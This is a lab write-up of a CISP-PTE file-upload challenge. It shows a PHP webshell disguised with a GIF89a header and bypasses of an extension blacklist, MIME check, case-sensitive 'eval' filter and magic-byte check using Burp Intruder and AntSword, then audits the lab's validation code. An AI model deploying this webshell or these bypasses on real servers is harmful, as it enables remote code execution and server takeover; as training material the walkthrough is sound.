CISP-PTE 文件上传5

目录

一、渗透实战

1、打开靶场

2、开始答题

3、构建脚本

[(1)GIF89a - 文件头欺骗](#(1)GIF89a - 文件头欺骗)

(2)PHP代码部分

4、直接上传php后缀脚本

5、bp抓包

6、修改报文的MIME

7、修改木马eval的大小写

8、配置intruder

(1)配置position

(2)配置payload

9、开启攻击

(1)攻击

(2)分析

10、获取木马URL

11、Hackbar连接

12、连接蚁剑工具

13、查找flag

二、源码分析

1、index.php

2、function.php

3、代码审计

4、绕过分析

[(1)step1 扩展名验证绕过](#(1)step1 扩展名验证绕过)

[(2)step2 MIME类型验证绕过](#(2)step2 MIME类型验证绕过)

[(3)step3 内容安全检查绕过](#(3)step3 内容安全检查绕过)

[(4)step4 文件头验证绕过](#(4)step4 文件头验证绕过)


本文演示了CISP-PTE靶场文件上传关卡的渗透测试过程。通过构建伪装成GIF的PHP木马(GIF89a文件头+EVAL函数),利用扩展名(php4)、MIME类型(image/gif)和大小写变异(EVAL)绕过四层防护:扩展名黑名单、MIME检查、内容安全扫描和文件头验证。最终使用BurpSuite成功上传WebShell,通过蚁剑获取flag。源码分析揭示了该防御系统的可绕过性,强调单纯依赖检测机制的安全风险。

一、渗透实战

1、打开靶场

打开靶场URL链接,页面如下所示,提示"文件上传是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,"文件上传"本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。测试该网站可能存在的文件包含风险,尝试获取webshell,答案就在根目录下key.php文件中。"

2、开始答题

点击开始答题,如下所示进入了文件上传的真实页面,具体如下所示。

3、构建脚本

新建一个存放着一句话木马的php文件,脚本名为mooyuan.php。这段GIF89a文件头后嵌入PHP代码的文本,是一个伪装成GIF图片的WebShell后门。它利用图片文件头"GIF89a"绕过安全检查,当服务器被配置为将.gif文件解析为PHP时(如通过.htaccess设置),该文件就会被执行。其中的eval($_POST['ljn'])函数允许攻击者通过POST请求执行任意PHP代码,从而完全控制服务器,构成严重的安全威胁。

复制代码
GIF89a
<?php
echo "mooyuan";
@eval($_POST['ljn']);
?>

(1)GIF89a - 文件头欺骗

  • 这是一个GIF图片的文件头标识,GIF(Graphics Interchange Format)文件常见版本有 GIF87a 和 GIF89a,它们的 16 进制文件头标识都是 47 49 46 38 39 61 ,对应 ASCII 字符就是 GIF89a 。右键16进制编辑,如下所示,关注这个脚本的文件头内容,其符合gif格式的文件头标识。

  • 目的是让服务器将PHP文件误判为图片文件,绕过安全检查

(2)PHP代码部分

复制代码
echo "mooyuan";          // 输出字符串作为伪装
@eval($_POST['ljn']);    // 核心后门功能
  • eval() 函数执行任意PHP代码

  • $_POST['ljn'] 接收来自POST请求的参数

  • @ 符号用于抑制错误显示

4、直接上传php后缀脚本

开启bp,同时浏览器代理指向bp,选择mooyuan.php文件并点击上传,观察页面变化,如下所示提示图片上传失败,服务器应该是有对php后缀的脚本进行过滤。

5、bp抓包

使用burpsuite进行抓包,并将报文发送到intruder,具体如下所示。

发送到intruder后,首先点击clear将position的数量变为0,具体如下所示。

6、修改报文的MIME

将MIME字段改为image/gif,具体如下所示。

7、修改木马eval的大小写

将木马中的eval改为EVAL,尝试进行eval大小写绕过,具体如下所示。

复制代码
GIF89a
<?php
echo "mooyuan";
@EVAL($_POST['ljn']);
?>

8、配置intruder

(1)配置position

对上传的文件名mooyuan.php的后缀php选中并点击add,效果如下所示,添加完毕后左下角的payload数量变为1。

(2)配置payload

构造php后缀的绕过字典,包括如php3、php4、phtml、以及大小写绕过的pHP、PHP、Php、pHp等等,对第一个payload使用这个字典进行配置,具体如下所示。

9、开启攻击

(1)攻击

配置完intruder后点击start attack开启攻击,渗透结果如下所示。

(2)分析

点击response-render,具体如下所示,发现多个后缀替换均成功绕过,其中报错php4、php3、php5、phtml等。

10、获取木马URL

以mooyuan.php4为例,查看response结果,找到response的pretty内容,分析其路径,如下所示说明mooyuan4.php被传到上传页面目录下start下,网站URL为/start/mooyuan.php4故而URL为

http://b6570eea.clsadp.com/start/mooyuan.php4

|--------------------------------------|
| 文件有效,上传成功: <a href="mooyuan.php4"> |

11、Hackbar连接

对于上传成功的脚本使用浏览器连接,通关hackbar进行post参数渗透,如下所示渗透成功。

复制代码
http://b6570eea.clsadp.com/start/mooyuan.php3
ljn=phpinfo();
复制代码
http://b6570eea.clsadp.com/start/mooyuan.php4
ljn=phpinfo();

12、连接蚁剑工具

复制代码
http://b6570eea.clsadp.com/start/mooyuan.php4
密码:ljn

13、查找flag

连接蚁剑工具成功后,右键文件管理进入文件系统,具体如下所示。

进入到文件上传upload的目录/var/www/html/start/,如下所示都是我们上传成功的多个木马文件。

进入网站的根目录/var/www/html/,发现key.php,如下所示。

打开key.php,如下所示找到了本关卡的flag,至此完成本关卡的渗透测试。

二、源码分析

1、index.php

既然我们已经拿到了本关卡的权限,我们查看一下源码/var/www/html/start/index.php,具体如下所示。

完整的源码内容如下所示,这是一个具有安全风险的文件上传页面,通过judge函数验证用户上传的文件后将其保存到服务器指定路径,并提供了文件查看链接。。

复制代码
<?php error_reporting(0); ?>
<?php include("function.php"); ?>
<html>
<head>
  <title>CISP-PTE 认证考试</title>
  <link rel="stylesheet" href="../css/bootstrap.css">
  <link rel="stylesheet" href="../css/nav.css">
  <meta charset="UTF-8">
</head>

<body>

  <?php include '../header.php';?>

  <div class="container mt-5 min-height main-body">


<div class="row">
   <div class="col-7 m-auto">
            <div class="card-content white-text">
              <?php

              $files = @$_FILES["files"];
              
              if (judge($files)) 
    {
                  $fullpath = $_REQUEST["path"] . $files["name"];
                  if (move_uploaded_file($files['tmp_name'], $fullpath)) {
                      echo "<a href='$fullpath'>图片上传成功</a>";
                  }
              }
              elseif (!(judge($files))&&!empty($files)) {
                echo "图片上传失败!";
              }
              

              echo '<form method=POST enctype="multipart/form-data" action="">
                      <input type="file" name="files">
                      <input type=submit value="上传"></form>';

              ?>
            </div>
            <div class="card-action">
              <?php if($fullpath!= '') { echo "文件有效,上传成功: <a href=\"$fullpath\"> 点我查看</a>"; } ?>
            </div>
  </div>
  </div>


</div>
<?php include '../footer.php';?>
</body>
</html>

2、function.php

接下来我们查看一下源码/var/www/html/start/function.php,查看下judge函数到底是如何进行过滤的,如下所示。

完整的源码如下所示,共使用了黑名单检测、MIME检测、eval检查以及文件头检查四种方法。

复制代码
<?php
	
	//黑名单验证,大小写绕过
	function step1($files)
	{
    	$filename = $files["name"];
    	$ext = substr($filename,strripos($filename,'.') + 1);
    	if ($ext != "php")
    	{
    		return true;
    	}
    	return false;
	}

	//验证MIME头,修改数据包绕过
	function step2($files)
	{

		if($files['type'] == "image/gif" || $files['type'] == "image/jpeg" || $files['type'] == "image/png" ) 
		{
			return true;
		}
		return false;
	}

	//验证文件内容,不能包含eval等敏感函数名,使用其他内容,文件读写
	function step3($files)
	{
		$content = file_get_contents($files["tmp_name"]);

		if (strpos($content, "eval") === false && strpos($content, "assert") === false )
		{
			return true;
		}
		return false;
	}


    //验证文件头
	function step4($files)
	{
		$png_header = "89504e47";
		$jpg_header = "ffd8FFE0";
		$gif_header = "47494638";

		$header = bin2hex(file_get_contents ( $files["tmp_name"] , 0 , NULL , 0 , 4 )); 

		if (strcasecmp($header,$png_header) == 0 || strcasecmp($header,$jpg_header) == 0 || strcasecmp($header,$gif_header) == 0) 
		{
			return true;
		}
		return false;
	}
	
    function judge($files)
    {
    
	    if (step1($files) && step2($files) && step3($files) && step4($files))
	    {
	    	return true;
	    }
	    return false;
	    
    }

?>

3、代码审计

完整的经过注释后的代码如下所示,这是一个四层防御的文件上传安全验证系统,通过扩展名黑名单、MIME类型检查、文件内容扫描和文件头验证来确保上传文件的安全性。系统首先禁止.php扩展名但存在大小写绕过风险;其次验证Content-Type要求必须是GIF、JPEG或PNG图片格式,但可通过修改数据包绕过;然后检测文件内容是否包含eval、assert等危险函数;最后通过验证文件魔数来确认真实文件类型是否为图片。虽然采用了多重防护机制,但仍可能被通过特定技术手段绕过,需要结合其他安全措施形成更完善的防御体系。

  • step1:可使用.php5、.phtml等扩展名绕过

  • step2:可通过修改HTTP请求包中的Content-Type字段绕过

  • step3:可使用编码、加密或其他危险函数绕过

  • step4:可在图片中嵌入恶意代码(图片马)绕过

    <?php //黑名单验证 - 通过文件扩展名验证 function step1($files) { $filename = $files["name"]; // 获取上传文件的原始名称 $ext = substr($filename,strripos($filename,'.') + 1); // 提取文件扩展名(从最后一个点开始) if ($ext != "php") // 黑名单验证:只禁止php扩展名 { return true; // 扩展名不是php则通过验证 } return false; // 扩展名是php则验证失败 }
    复制代码
      //验证MIME头,修改数据包绕过 - 通过Content-Type验证
      function step2($files)
      {
      	// 检查MIME类型是否为图片格式
      	if($files['type'] == "image/gif" || $files['type'] == "image/jpeg" || $files['type'] == "image/png" ) 
      	{
      		return true;  // MIME类型符合要求则通过验证
      	}
      	return false;  // MIME类型不符合要求则验证失败
      }
    
      //验证文件内容,不能包含eval等敏感函数名,使用其他内容,文件读写 - 内容安全检查
      function step3($files)
      {
      	// 读取上传文件的完整内容
      	$content = file_get_contents($files["tmp_name"]);
    
      	// 检查文件内容中是否包含危险函数名(使用严格比较=== false判断不存在)
      	if (strpos($content, "eval") === false && strpos($content, "assert") === false )
      	{
      		return true;  // 不包含危险函数则通过验证
      	}
      	return false;  // 包含危险函数则验证失败
      }
    
    
      //验证文件头 - 通过文件魔数验证真实文件类型
      function step4($files)
      {
      	// 定义常见图片格式的文件头(十六进制)
      	$png_header = "89504e47";  // PNG文件头
      	$jpg_header = "ffd8FFE0";  // JPEG文件头  
      	$gif_header = "47494638";  // GIF文件头
    
      	// 读取上传文件的前4个字节并转换为十六进制
      	$header = bin2hex(file_get_contents ( $files["tmp_name"] , 0 , NULL , 0 , 4 )); 
    
      	// 使用不区分大小写的比较验证文件头(strcasecmp返回0表示相等)
      	if (strcasecmp($header,$png_header) == 0 || strcasecmp($header,$jpg_header) == 0 || strcasecmp($header,$gif_header) == 0) 
      	{
      		return true;  // 文件头匹配则通过验证
      	}
      	return false;  // 文件头不匹配则验证失败
      }
      
      // 主验证函数 - 综合所有安全检查
      function judge($files)
      {
      	// 必须同时通过所有四个安全验证步骤
          if (step1($files) && step2($files) && step3($files) && step4($files))
          {
          	return true;  // 所有验证通过,文件安全
          }
          return false;  // 任一验证失败,文件不安全
          
      }

    ?>

4、绕过分析

接下来分析为何如下报文可以绕过服务器的文件上传检测,报文内容如下所示。

复制代码
Content-Disposition: form-data; name="files"; filename="mooyuan.php4"
Content-Type: image/gif

GIF89a
<?php
echo "mooyuan";
@EVAL($_POST['ljn']);
?>

我们通过修改扩展名、伪造MIME类型、大小写变异危险函数、添加合法文件头的组合方式,成功绕过了所有四层防护,最终将PHP木马伪造成GIF图片上传到服务器。

(1)step1 扩展名验证绕过

  • 文件名使用 mooyuan.php4 而不是 .php

  • step1 只检查扩展名是否为 "php",.php4 不在黑名单中

  • 结果:通过验证

(2)step2 MIME类型验证绕过

  • Content-Type: image/gif 明确声明为GIF图片

  • step2 只检查MIME类型,不验证内容真实性

  • 结果:通过验证

(3)step3 内容安全检查绕过

  • 虽然包含 eval 函数,但使用了 @EVAL(大写)

  • step3 使用 strpos($content, "eval") 进行字符串匹配,区分大小写

  • EVALeval,因此检测不到

  • 结果:通过验证

(4)step4 文件头验证绕过

  • 文件开头包含 GIF89a 这是合法的GIF文件头

  • 474946383961 对应GIF89a的十六进制

  • step4 只检查前4个字节,GIF8 符合GIF文件头要求

  • 结果:通过验证

相关推荐
mooyuan天天15 小时前
CISP-PTE 日志分析2
网络安全·cisp-pte·日志分析
mooyuan天天2 天前
CISP-PTE SQL注入5(万能密码)
cisp-pte·sql注入·sql注入漏洞·万能密码
mooyuan天天2 天前
CISP-PTE 文件上传1
文件上传·cisp-pte·文件上传漏洞
mooyuan天天3 天前
CISP-PTE 日志分析1
cisp-pte·日志分析·暴力破解
xiangxiongfly9153 天前
Node http
http·node·文件上传·请求·文件下载·响应
mooyuan天天13 天前
Nginx错误配置解析复现:原理详解+环境搭建+渗透实践(文件上传)
文件上传漏洞·nginx解析漏洞·php-fpm错误配置解析漏洞·nginx错误解析漏洞
pinesawfly17 天前
[强网杯 2019]upload
web·buu·文件上传·php反序列化
mooyuan天天18 天前
CISP-PTE 命令执行1
cisp-pte·命令执行·命令执行漏洞
重生之我在番茄自学网安拯救世界18 天前
网络安全中级阶段学习笔记(九):upload靶场实战(14-16关)-图片马制作与通过教学
笔记·学习·网络安全·文件上传漏洞·图片木马